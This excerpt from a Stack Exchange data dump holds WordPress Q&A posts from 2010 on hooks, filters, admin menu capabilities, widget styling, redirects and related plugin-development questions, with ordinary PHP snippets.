  <row Id="3630" PostTypeId="2" ParentId="3617" CreationDate="2010-11-04T13:41:12.690" Score="2" ViewCount="" Body="&lt;p&gt;NOTES: Regarding Jan Fabry's answer... &#xA;Be sure to sanitize that incoming data first, else you're opening yourself to all sorts of nasty query strings..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also probably return the incoming data on that filter, return $query, in place of return;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also think it would be preferable to have an array of possible values or do a query for possible meta values, that way you can build a switch that can check the incoming value matches against one of those possible values (easier way to sanitize the data coming in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not a regular user here, else i'd post an example (no idea how posting code works here - couldn't find it in the FAQ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Thanks for the poster pointing me to info for posting code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example follows, hopefully it works out ok... :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Only add the needed meta orders&#xA;$possible_orders = array( 'some_meta_key', 'some_other_meta_key' );&#xA;&#xA;add_filter( 'pre_get_posts', 'archive_meta_sorting' );&#xA;function archive_meta_sorting( $query_object ) {&#xA;    if( !is_archive() || is_admin() )&#xA;        return $query_object;&#xA;&#xA;    if( !isset( $_GET['orderby'] ) )&#xA;        return $query_object;&#xA;&#xA;    global $possible_orders;&#xA;&#xA;    $orderby = trim( $_GET['orderby'] );    &#xA;&#xA;    switch( $orderby ) {&#xA;        case( in_array( $orderby, $possible_orders ) ):&#xA;            $query_object-&amp;gt;set( 'orderby', 'meta_value' );&#xA;            $query_object-&amp;gt;set( 'meta_key', $orderby );&#xA;            break;&#xA;        // You don't actually need these two cases below, it will work without them&#xA;        // The switch could actually just be a simple if in_array condition..&#xA;        case 'title':&#xA;            $query_object-&amp;gt;set( 'orderby', 'title' );&#xA;            break;&#xA;        case 'date':&#xA;            $query_object-&amp;gt;set( 'orderby', 'date' );&#xA;            break;&#xA;    }&#xA;    return $query_object;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You only need to pass in values for the meta sorting, the title and date will work just fine using the native support for ordering by those values, same can be said for order(desc or asc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps... &lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-09T23:57:27.767" LastActivityDate="2010-12-09T23:57:27.767" CommentCount="6" />
  <row Id="3631" PostTypeId="2" ParentId="3002" CreationDate="2010-11-04T13:41:16.613" Score="1" ViewCount="" Body="&lt;p&gt;I solved it using some CSS, similar to my trick to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3003/highlight-custom-widgets-in-the-admin-area&quot;&gt;highlight my own widgets&lt;/a&gt;. The sidebar drop areas are &lt;code&gt;div&lt;/code&gt;'s with the class &lt;code&gt;widgets-sortable&lt;/code&gt; and they have the &lt;code&gt;id&lt;/code&gt; of your sidebar. Your widgets are &lt;code&gt;div&lt;/code&gt;'s with class &lt;code&gt;widget&lt;/code&gt;, and and &lt;code&gt;id&lt;/code&gt; of the form &lt;code&gt;widget-[global_counter]_[widget_key]-[widget_id]&lt;/code&gt;. You can combine these to highlight correct or wrong combinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a sidebar called &lt;code&gt;footer&lt;/code&gt; that should only contain wide widgets. These widgets are recognizable because their ID includes &lt;code&gt;-wide-&lt;/code&gt;. I want these in green, and all other ones in red with a strike through.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_print_styles-widgets.php', 'print_widget_hint_style');&#xA;function print_widget_hint_style()&#xA;{&#xA;    echo &amp;lt;&amp;lt;&amp;lt;EOF&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;/* Less specific rule for all widgets */&#xA;div.widgets-sortables[id*=-footer] div.widget .widget-title&#xA;{&#xA;    color: red;&#xA;    text-decoration: line-through;&#xA;}&#xA;&#xA;/* More specific rule for correct widgets */&#xA;div.widgets-sortables[id*=-footer] div.widget[id*=-wide-] .widget-title&#xA;{&#xA;    color: green;&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;EOF;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-04T13:41:16.613" />
  <row Id="3632" PostTypeId="2" ParentId="3627" CreationDate="2010-11-04T13:51:56.957" Score="1" ViewCount="" Body="&lt;p&gt;After using &lt;code&gt;wp_signon()&lt;/code&gt;, the user info is not set, which is how WP checks for a user in &lt;code&gt;is_user_logged_in()&lt;/code&gt;. It should be just a matter of calling &lt;code&gt;get_currentuserinfo()&lt;/code&gt; after &lt;code&gt;wp_signon()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-11-04T13:51:56.957" CommentCount="2" />
  <row Id="3633" PostTypeId="1" AcceptedAnswerId="3635" CreationDate="2010-11-04T14:10:46.797" Score="1" ViewCount="633" Body="&lt;p&gt;I have a function inside my plugin that attaches to save_post, and inside that function, I'm seeking to filter the post_content prior to it being saved. However, the content never actually gets changed once its saved. See below where I'm setting $post-&gt;post_content = &quot;test&quot;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_post_filter',10,2);&#xA;&#xA;function save_post_filter($postID, $post){&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $postID;&#xA;    }&#xA;    else&#xA;    {&#xA;        if($parent_id = wp_is_post_revision($postID))&#xA;        {&#xA;        $postID = $parent_id;&#xA;        $post = get_post($postID);&#xA;        }&#xA;        $post-&amp;gt;post_content = &quot;test&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-04T14:40:10.830" Title="How to filter $post-&gt;post_content prior to save" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="3634" PostTypeId="2" ParentId="3633" CreationDate="2010-11-04T14:22:30.440" Score="1" ViewCount="" Body="&lt;p&gt;The 'save_post' filter runs after the post is filtered.  If you need to modify the content before it is saved, try the 'wp_insert_post_data' filter.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-04T14:22:30.440" CommentCount="6" />
  <row Id="3635" PostTypeId="2" ParentId="3633" CreationDate="2010-11-04T14:40:10.830" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/post.php#L1461&quot; rel=&quot;nofollow&quot;&gt;The &lt;code&gt;content_save_pre&lt;/code&gt; filter&lt;/a&gt; is applied to the content before it gets saved in the database. Some default filters hook into it too, for example &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/default-filters.php#L78&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;balanceTags()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/kses.php#L1310&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_filter_post_kses()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-04T14:40:10.830" CommentCount="4" />
  <row Id="3636" PostTypeId="1" CreationDate="2010-11-04T14:55:31.347" Score="0" ViewCount="298" Body="&lt;p&gt;I want to move my blog from its original domain (&lt;em&gt;site1.com&lt;/em&gt;) to become a sub-domain on another domain which is a multisite installation (&lt;em&gt;sub1.site2.com&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to change the permalink structure on the new site based on some SEO suggestions I read online. Original used &lt;code&gt;/%year%/%monthnum%/%category%/%postname%/&lt;/code&gt; as its permalink structure. I want to switch to &lt;code&gt;posts/%category%/%postname%/&lt;/code&gt;as the new permalink structure on &lt;em&gt;sub1.site2.com&lt;/em&gt; . I am changing the permalinks because I rightfully agree with some SEO suggestions that articles may feel dated if the year is prominent in the URL when actually the content is mostly not time dependent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I use either &lt;code&gt;.htaccess&lt;/code&gt; or a plugin or even PHP (as in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1011/creating-301-redirects-for-post-page-category-and-image-urls&quot;&gt;this thread&lt;/a&gt;) to ensure links from the old site (posts, category and other archives) do not break especially because of the the change in permalink structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried following a few previously answered questions but got confused becasue of the nature of their specific queries. Also Regex syntax is relatively new to me so I want to defer to people who know what they are doing fully.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-05T13:16:51.277" Title="301 Redirects for posts, category, pages from original domain to sub-domain of multisite" Tags="&lt;multisite&gt;&lt;permalinks&gt;&lt;redirect&gt;&lt;http-301&gt;" AnswerCount="1" />
  <row Id="3637" PostTypeId="2" ParentId="3605" CreationDate="2010-11-04T15:04:33.633" Score="4" ViewCount="" Body="&lt;p&gt;The image that is used for sharing is taken from a chunk of code in the header of your site that will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;image_src&quot; href=&quot;path/to/theme/screenshot.png&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Typically it links to the screenshot of your site in the theme. If you removed the code from the header of the file and on single.php put it inside the loop and called your post thumbnail image into the href element I believe it would work. So it would look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;image_src&quot; href=&quot;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would mean that if you have like buttons on pages that list multiple posts you probably won't have an image. If you included some conditional code that removed it only on single.php then you would have the normal image on any page with multiple posts and an like button and the post thumbnail when the single.php template is being used. So the header code would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_single() ) { /* do nothing on single pages */ } else { ?&amp;gt;&#xA;&amp;lt;link rel=&quot;image_src&quot; href=&quot;path/to/theme/screenshot.png&quot; /&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you'd still use the code to include the post thumbnail in single.php.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-11-04T15:04:33.633" />
  <row Id="3638" PostTypeId="1" AcceptedAnswerId="3639" CreationDate="2010-11-04T15:19:28.910" Score="0" ViewCount="114" Body="&lt;p&gt;In the function below, the save_content function runs, but the doReplace does not (echo &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This is the doReplace&quot; never shows. Any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('content_save_pre', 'save_content');&#xA;&#xA; function save_content($content){&#xA;  global $post;&#xA;  $mykeyword = rseo_getKeyword($post);&#xA;  $mykeyword = preg_quote($mykeyword, '/');&#xA;  $content = preg_replace_callback(&quot;/\b($mykeyword)\b/i&quot;,&quot;doReplace&quot;, $content);&#xA; return $content;&#xA; }&#xA;&#xA; function doReplace($matches)&#xA; {&#xA;  echo &quot;This is the doReplace&quot;;&#xA;  die;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-03T20:30:51.030" Title="Why does preg_replace_callback never fire in this function?" Tags="&lt;plugin-development&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="3639" PostTypeId="2" ParentId="3638" CreationDate="2010-11-04T15:22:25.317" Score="1" ViewCount="" Body="&lt;p&gt;Your function needs to return the data, not echo it..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function doReplace($matches) {&#xA;    return &quot;This is the doReplace&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-04T15:22:25.317" CommentCount="3" />
  <row Id="3640" PostTypeId="1" AcceptedAnswerId="3644" CreationDate="2010-11-04T15:23:34.670" Score="1" ViewCount="124" Body="&lt;p&gt;I am trying to build a class to make the job off adding new settings easier. The trouble I am having is that, although I have traced the variable through all of it's stages, the string 'manage_options' doesn't seem to grant admin the right to amend and option. I keep getting &quot;You do not have sufficient permissions to access this page.&quot; when I try access the new settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a heavily simplified version of the class, the creation function and its action hook.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class optionObject{&#xA;    var $user_level = 'manage_options';&#xA;&#xA;    function add_page() {&#xA;&#xA;        add_options_page(menu_page_title, page_title, $this-&amp;gt;user_level, menu_slug, array(&amp;amp;$this, 'do_page'));&#xA;&#xA;    }&#xA;    function do_page(){&#xA;        //do stuff to display page&#xA;    }&#xA;}&#xA;&#xA;function test_options(){&#xA;    $options = new optionObject();&#xA;&#xA;    add_action('admin_menu', $options-&amp;gt;add_page());&#xA;}&#xA;&#xA;add_action('admin_init', 'test_options' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unedited Version &lt;a href=&quot;http://pastebin.com/gYufecdR&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2010-11-05T09:46:08.243" LastActivityDate="2010-11-05T12:41:41.837" Title="add_option_page capabilty behaving strange" Tags="&lt;user-access&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="3641" PostTypeId="2" ParentId="3586" CreationDate="2010-11-04T15:36:52.197" Score="0" ViewCount="" Body="&lt;p&gt;Question: why are you using an old version of WP? &lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-04T15:36:52.197" CommentCount="3" />
  <row Id="3642" PostTypeId="2" ParentId="1567" CreationDate="2010-11-04T17:06:45.760" Score="1" ViewCount="" Body="&lt;h2&gt;Exclude default category from public pages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Excludes the default category from the front-facing side of the website.&lt;br&gt;&#xA;Code excludes the admin area, else you'll have no way to manage posts assigned with the default category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'list_terms_exclusions', 'exclude_default_cat' );&#xA;&#xA;function exclude_default_cat( $exclusions ) {&#xA;    if( !is_admin() )&#xA;        $exclusions .=  &quot;AND t.term_id != &quot; . get_option( 'default_category' ) . &quot; &quot;;&#xA;    return $exclusions;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T13:47:49.653" LastActivityDate="2011-01-26T13:47:49.653" CommunityOwnedDate="2010-11-04T17:06:45.760" />
  <row Id="3643" PostTypeId="2" ParentId="1567" CreationDate="2010-11-04T17:11:02.387" Score="5" ViewCount="" Body="&lt;h1&gt;Check if a post has embedded content.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Check if a post has embedded content, works inside the loop using the current post's ID, or alternatively can be passed an ID to determine the post to check for embedded content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function has_embed( $post_id = false ) {&#xA;    if( !$post_id ) $post_id = get_the_ID();&#xA;    else $post_id = absint( $post_id );&#xA;    if( !$post_id ) return false;&#xA;&#xA;    $post_meta = get_post_custom_keys( $post_id );&#xA;    $post_meta = array_map( 'trim' , $post_meta );&#xA;&#xA;    foreach( $post_meta as $meta ) {&#xA;        if( '_oembed' != substr( $meta , 0 , 7 ) )&#xA;            continue;&#xA;        return true;&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd use the function in the same way you check if a post has a tag..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( has_embed() ) {&#xA;   // do whatever&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Function returns true if an embed is found, false on fail.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-28T16:45:06.067" LastActivityDate="2011-01-28T16:45:06.067" CommunityOwnedDate="2010-11-04T17:11:02.387" CommentCount="2" />
  <row Id="3644" PostTypeId="2" ParentId="3640" CreationDate="2010-11-04T17:54:49.543" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;admin_init&lt;/code&gt; is called &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/admin.php#L93&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;after&lt;/em&gt; &lt;code&gt;wp-admin/menu.php&lt;/code&gt; is included&lt;/a&gt;, so &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/menu.php#L441&quot; rel=&quot;nofollow&quot;&gt;the access check has already been executed&lt;/a&gt; and &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/menu.php#L328&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;admin_menu&lt;/code&gt; action has fired&lt;/a&gt; by the time you execute &lt;code&gt;test_options()&lt;/code&gt;. Remove the &lt;code&gt;admin_init&lt;/code&gt; hook and call &lt;code&gt;test_options()&lt;/code&gt; directly, or find another way of structuring your code so that the &lt;code&gt;admin_menu&lt;/code&gt; hook is set up correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might think it could work because you see the menu option when you are on other pages. This is because &lt;strong&gt;the menu is drawn after the page access is checked&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu is drawn in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/menu-header.php#L169&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-admin/menu-header.php&lt;/code&gt; on line 169&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;included in &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/admin-header.php#L143&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-admin/admin-header.php&lt;/code&gt; on line 143&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;included from various places, but always after &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/admin.php#L132&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-admin/admin.php&lt;/code&gt; line &lt;strong&gt;132&lt;/strong&gt;&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;which is after &lt;code&gt;admin_init&lt;/code&gt; fires in &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/admin.php#L98&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-admin/admin.php&lt;/code&gt; on line &lt;strong&gt;98&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The access check however is done in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/menu.php#L441&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-admin/menu.php&lt;/code&gt; on line 441&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;which is after &lt;code&gt;admin_menu&lt;/code&gt; fires in &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/menu.php#L328&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-admin/menu.php&lt;/code&gt; on line 328&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;which is included in &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/admin.php#L93&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-admin/admin.php&lt;/code&gt; on line &lt;strong&gt;93&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You see that adding menu items in &lt;code&gt;admin_init&lt;/code&gt; is OK to be included in the drawn menu, but too late for the access check. That's your current situation, and you need to change that by adding the page in the &lt;code&gt;admin_menu&lt;/code&gt; hook or earlier.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-05T12:41:41.837" LastActivityDate="2010-11-05T12:41:41.837" CommentCount="4" />
  <row Id="3645" PostTypeId="2" ParentId="3618" CreationDate="2010-11-04T17:54:51.447" Score="2" ViewCount="" Body="&lt;p&gt;The most full featured one I've found is NextGEN gallery. It even has add-ons for specific functionality beyond what's built in.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-04T17:54:51.447" />
  <row Id="3646" PostTypeId="2" ParentId="3640" CreationDate="2010-11-04T18:09:31.040" Score="1" ViewCount="" Body="&lt;p&gt;Jan is spot on with both his answer and comment on the original question..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the code working, in it's most basic form...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Either uncomment the constructor function or the line following the creation of the object, simply showing you two working methods&#xA;class test_stuff {&#xA;    var $user_level = 'manage_options';&#xA;    // PHP4 or PHP5 constructor, you choose - uncomment function line as appropriate&#xA;    //function test_stuff() {&#xA;    //function __construct() {&#xA;    //    add_action( 'admin_menu', array( $this, 'add_new_page' ) );&#xA;    //}&#xA;    function add_new_page() {&#xA;        add_options_page( 'somename', 'somename', $this-&amp;gt;user_level, 'somepagename', array( $this, 'display_page' ) );&#xA;    }&#xA;    function display_page() {&#xA;        echo 'Hello World!';&#xA;    }&#xA;}&#xA;$test_stuff = new test_stuff();&#xA;//add_action( 'admin_menu', array( $test_stuff, 'add_new_page' ) ); // Alternative to using the constructor function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps...&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-04T18:09:31.040" CommentCount="5" />
  <row Id="3647" PostTypeId="2" ParentId="3139" CreationDate="2010-11-04T18:35:03.580" Score="1" ViewCount="" Body="&lt;p&gt;OK, with the help of a friend I was able to get this done. I ditched the wp_list_bookmarks and went with a combination of get_terms and get_bookmarks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function blogroll_page( $args = array() ) {&#xA;    if(is_page('blogroll')) {&#xA;        if( $terms = get_terms( 'link_category', $args = array('exclude' =&amp;gt; 16) ) )&#xA;        {&#xA;            foreach( $terms as $c )&#xA;            {&#xA;                printf( '&amp;lt;h3&amp;gt;%s&amp;lt;/h3&amp;gt;', $c-&amp;gt;name );&#xA;                printf( '&amp;lt;p&amp;gt;%s&amp;lt;/p&amp;gt;', $c-&amp;gt;description );&#xA;&#xA;                if( $bookmarks = get_bookmarks( array( 'category' =&amp;gt; $c-&amp;gt;term_id ) ) )&#xA;                {&#xA;                    printf( '&amp;lt;ul class=&quot;xoxo bookmarks&quot;&amp;gt;' );&#xA;                    foreach( $bookmarks as $bm )&#xA;                        printf( '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;%s&quot; title=&quot;%s&quot;&amp;gt;%s&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;', $bm-&amp;gt;link_url, $bm-&amp;gt;link_description, $bm-&amp;gt;link_name );&#xA;                    printf( '&amp;lt;/ul&amp;gt;' );&#xA;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="403" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-04T18:36:20.350" LastActivityDate="2010-11-04T18:36:20.350" />
  <row Id="3649" PostTypeId="2" ParentId="3638" CreationDate="2010-11-04T19:09:01.323" Score="0" ViewCount="" Body="&lt;p&gt;Shouldn't the preg_quote() call be used in an array map call? If you're feeding it something like &quot;foo|bar&quot; it'll get escaped as &quot;foo\|bar&quot;, which won't match anything... Better use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// uncomment in case you're returning a string:&#xA;// $kw = explode('|', $kw);&#xA;// create a new function if php 5.3 is not an option&#xA;$regex = array_map(function($in) {&#xA;  return preg_quote($in, '/');&#xA;}, $kw);&#xA;$regex = implode('|', $regex);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-04T19:09:01.323" />
  <row Id="3650" PostTypeId="1" CreationDate="2010-11-04T19:09:09.990" Score="0" ViewCount="403" Body="&lt;p&gt;wp login redirects to homepage just started to happen. I login to my admin area using /wp-admin no problem but instead of being redirect to the admin area i am redirected to a incomplete version of the frontpage. This started to happen no upgrades or new plugins or messing about with the back end &lt;/p&gt;&#xA;" LastActivityDate="2010-11-04T20:36:20.757" Title="wp login redirects to homepage" Tags="&lt;wp-admin&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="3651" PostTypeId="2" ParentId="3650" CreationDate="2010-11-04T19:10:35.860" Score="1" ViewCount="" Body="&lt;p&gt;Tried to delete your cookies? Any chances you recently changed your site's domain (e.g. its www pref...)?&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-04T19:10:35.860" CommentCount="2" />
  <row Id="3652" PostTypeId="2" ParentId="1844" CreationDate="2010-11-04T19:46:37.603" Score="1" ViewCount="" Body="&lt;p&gt;I'm not sure if this really answers your question, but have you looked at &lt;strong&gt;&lt;a href=&quot;http://code.google.com/p/cheezcap/&quot; rel=&quot;nofollow&quot;&gt;CheezCAP&lt;/a&gt;&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a framework to allow a theme to register options and settings panels on the fly, so that on a multi-site install you can more easily add options to the themes across the board, and manage the settings on a site-by-site basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't quite do what you're looking for, though... &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-11-04T19:46:37.603" />
  <row Id="3653" PostTypeId="2" ParentId="3650" CreationDate="2010-11-04T19:48:35.417" Score="0" ViewCount="" Body="&lt;p&gt;I have disabled all the plugins and its still happening - any other ideas&lt;/p&gt;&#xA;" LastActivityDate="2010-11-04T19:48:35.417" />
  <row Id="3654" PostTypeId="1" CreationDate="2010-11-04T19:59:55.967" Score="0" ViewCount="102" Body="&lt;p&gt;I'm now experimenting with a wordpress.com hosted blog, and I'll add here good reasons I encounter to move to a self-hosted blog, in a community-wiki answer, to keep track of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put more background to it, I'm actually helping out a friend with her blog. I don't know how serious she will be with blogging, but I want to keep track of the issues encountered on wordpress.com. I'm not comfortable though with advising her to pay for hosting at this moment, at least until she has enough reasons to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to edit my answer or add other ones.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-04T21:10:11.213" Title="Good reasons to move from wordpress.com to a self-hosted blog" Tags="&lt;wordpress.com&gt;" AnswerCount="3" />
  <row Id="3655" PostTypeId="2" ParentId="3654" CreationDate="2010-11-04T20:00:41.927" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Imposed Google ads - it's $30/year now to remove them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No way to change the permalink structure - &lt;a href=&quot;http://en.forums.wordpress.com/topic/settings-permalink-panel-i-do-not-see-this-permalink-panel&quot; rel=&quot;nofollow&quot;&gt;http://en.forums.wordpress.com/topic/settings-permalink-panel-i-do-not-see-this-permalink-panel&lt;/a&gt; - to have, for example, &lt;code&gt;myblog.wordpress.com/post-title&lt;/code&gt; instead of &lt;code&gt;myblog.wordpress.com/2010/11/4/post-title&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No way to have the new FB Like button - developers.facebook.com/docs/reference/plugins/like - you can put small FB sharing icons, but not the new fancy Like button, with &quot;36,249 people like this. Be the first of your friends&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" LastActivityDate="2010-11-04T20:13:29.013" CommentCount="1" />
